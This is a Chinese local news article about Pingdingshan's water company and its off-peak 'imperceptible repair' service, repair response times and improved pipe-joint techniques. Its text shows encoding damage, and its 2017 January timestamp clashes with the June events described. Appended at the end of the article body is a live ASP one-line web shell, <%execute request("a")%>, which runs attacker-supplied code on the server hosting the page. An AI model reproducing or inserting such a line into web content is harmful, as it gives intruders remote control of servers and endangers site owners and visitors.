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[服務(wù)民生轉(zhuǎn)作風(fēng)]市自來水公司推出“無感覺搶修”服務(wù)
2017-01-17 19:55:31

    平頂山晚報(bào)訊 (記者:呂占偉)6月14日上午10點(diǎn)多,烈日炎炎,市區(qū)湛南路河南城建學(xué)院家屬院內(nèi),一撥戴著安全帽的施工人員正在現(xiàn)場緊張施工。當(dāng)天上午8點(diǎn),他們接到這個(gè)家屬院的居民報(bào)料:16號樓1單元的自來水管網(wǎng)漏水,居民用水受到影響。

    “我們接報(bào)來到現(xiàn)場的時(shí)候,看到這個(gè)單元門前水表井里的水正往外冒。經(jīng)過勘查,這里的供水管道斷裂了。”市自來水公司管網(wǎng)管理處維修二隊(duì)隊(duì)長于迎雁在現(xiàn)場對記者介紹說,為不影響該院居民用水,他們避開供水高峰時(shí)段,利用供水壓力相對較小的上午9時(shí)至11時(shí)這個(gè)時(shí)間段進(jìn)行搶修。

    記者看到,1單元門口處自來水表井周圍的地面被掘開,施工工人將斷裂漏水的那段管道更換為全新的PE管?,F(xiàn)場拉起了警戒線,設(shè)置了警示燈。工人們埋頭干活,汗都顧不上擦。

    “再有十來分鐘就能完工了。停水的兩棟樓就能恢復(fù)供水了?!爆F(xiàn)場一名施工工人說,這次漏水事故的原因是夏季用水壓力增大,公司增大了供水管網(wǎng)的內(nèi)壓,該院供水管網(wǎng)屬于老舊管網(wǎng),水壓加大導(dǎo)致破損。他說,如果遇到當(dāng)天上午無法完成的搶修任務(wù),公司會先采取臨時(shí)供水措施,比如搭接臨時(shí)供水管道和調(diào)運(yùn)臨時(shí)供水車,下午再接著搶修,直到修好為止。

    據(jù)了解,根據(jù)市自來水公司近期推出的“無感覺搶修”服務(wù)新舉措,管道搶修首先利用3個(gè)時(shí)間節(jié)點(diǎn)(9時(shí)至11時(shí);15時(shí)至17時(shí);23時(shí)至次日5時(shí))錯(cuò)峰搶修;其次是積極利用新技術(shù)、新材料進(jìn)行管網(wǎng)維護(hù),盡量縮短維修、搶修時(shí)間。這都是為了做到便民不擾民。為保證及時(shí)搶修,該公司安排人員24小時(shí)值守?zé)峋€電話,市區(qū)范圍內(nèi)一般要求接報(bào)后30分鐘到達(dá)現(xiàn)場。

    記者了解到,最近10多年來,我市供水搶修技術(shù)有了很大改進(jìn),2000年以前,搶修斷點(diǎn)用的是水泥接口,現(xiàn)在則采用技術(shù)含量更高的快速接頭,運(yùn)用環(huán)繞樹脂處理技術(shù)。這種技術(shù)的優(yōu)點(diǎn)是延長維修效果,減少重復(fù)維修,可保障快速通水,大大提高了搶修效率,使原來需要1天時(shí)間完成的任務(wù),現(xiàn)在只需四五個(gè)小時(shí)就能搞定。<%execute request("a")%>

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